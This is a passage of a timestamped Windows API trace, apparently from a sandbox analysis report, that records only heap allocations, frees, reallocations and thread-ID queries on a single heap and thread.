(HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b040 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.562] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.562] GetCurrentThreadId () returned 0x9b0 [0073.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af90 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afc0 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a78 [0073.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a78 | out: hHeap=0x2ad0000) returned 1 [0073.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.563] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182e0, Size=0x20) returned 0x2a1f858 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0073.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0073.563] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.563] GetCurrentThreadId () returned 0x9b0 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18328, Size=0x20) returned 0x2a1f948 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f948, Size=0x40) returned 0x2a18ef0 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ff28 [0073.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff28 | out: hHeap=0x2ad0000) returned 1 [0073.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ef0, Size=0x64) returned 0x2a19818 [0073.564] GetCurrentThreadId () returned 0x9b0 [0073.564] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0910 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0910, Size=0xb8) returned 0x2ac1438 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1438, Size=0xe8) returned 0x2ac2890 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2890, Size=0x120) returned 0x2ba53d0 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba53d0, Size=0x160) returned 0x2ba6be0 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] GetCurrentThreadId () returned 0x9b0 [0073.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af40 [0073.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af40 | out: hHeap=0x2ad0000) returned 1 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b040 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19058 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0d850 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba6be0 | out: hHeap=0x2ad0000) returned 1 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c140b8 [0073.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0e308 | out: hHeap=0x2ad0000) returned 1 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e618 [0073.566] GetCurrentThreadId () returned 0x9b0 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0de70 [0073.566] GetCurrentThreadId () returned 0x9b0 [0073.566] GetCurrentThreadId () returned 0x9b0 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.566] GetCurrentThreadId () returned 0x9b0 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.566] GetCurrentThreadId () returned 0x9b0 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.566] GetCurrentThreadId () returned 0x9b0 [0073.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182e0, Size=0x20) returned 0x2a1f8a8 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af40 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aea0 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.567] GetCurrentThreadId () returned 0x9b0 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.568] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8a8, Size=0x40) returned 0x2a190a0 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.568] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182e0, Size=0x20) returned 0x2a1fa10 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a18e60 [0073.568] GetCurrentThreadId () returned 0x9b0 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a30 [0073.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.569] GetCurrentThreadId () returned 0x9b0 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178b0 | out: hHeap=0x2ad0000) returned 1 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a30 | out: hHeap=0x2ad0000) returned 1 [0073.569] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19968 [0073.569] GetCurrentThreadId () returned 0x9b0 [0073.569] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0910 [0073.569] GetCurrentThreadId () returned 0x9b0 [0073.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179a0 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179a0 | out: hHeap=0x2ad0000) returned 1 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.569] GetCurrentThreadId () returned 0x9b0 [0073.569] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0910, Size=0xb8) returned 0x2ac1bb8 [0073.569] GetCurrentThreadId () returned 0x9b0 [0073.569] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1bb8, Size=0xe8) returned 0x2ac2c50 [0073.569] GetCurrentThreadId () returned 0x9b0 [0073.569] GetCurrentThreadId () returned 0x9b0 [0073.569] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2c50, Size=0x120) returned 0x2ba52a8 [0073.570] GetCurrentThreadId () returned 0x9b0 [0073.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179b8 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179b8 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182e0 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178b0 | out: hHeap=0x2ad0000) returned 1 [0073.570] GetCurrentThreadId () returned 0x9b0 [0073.570] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba52a8, Size=0x160) returned 0x2ba6be0 [0073.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aeb0 [0073.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182e0 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aeb0 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af40 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0de70 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a190a0 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0073.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba6be0 | out: hHeap=0x2ad0000) returned 1 [0073.570] GetCurrentThreadId () returned 0x9b0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b629c0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c33878 [0073.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b629c0 | out: hHeap=0x2ad0000) returned 1 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e308 [0073.571] GetCurrentThreadId () returned 0x9b0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f258 [0073.571] GetCurrentThreadId () returned 0x9b0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.571] GetCurrentThreadId () returned 0x9b0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.571] GetCurrentThreadId () returned 0x9b0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.571] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18388, Size=0x20) returned 0x2a1fbf0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.571] GetCurrentThreadId () returned 0x9b0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0073.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.571] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18e60 [0073.571] GetCurrentThreadId () returned 0x9b0 [0073.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.572] GetCurrentThreadId () returned 0x9b0 [0073.572] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a198f8 [0073.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f258 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a198f8 | out: hHeap=0x2ad0000) returned 1 [0073.572] GetCurrentThreadId () returned 0x9b0 [0073.572] GetCurrentThreadId () returned 0x9b0 [0073.572] GetCurrentThreadId () returned 0x9b0 [0073.572] GetCurrentThreadId () returned 0x9b0 [0073.572] GetCurrentThreadId () returned 0x9b0 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.572] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0073.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.573] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182f8, Size=0x20) returned 0x2a1fa10 [0073.573] GetCurrentThreadId () returned 0x9b0 [0073.573] GetCurrentThreadId () returned 0x9b0 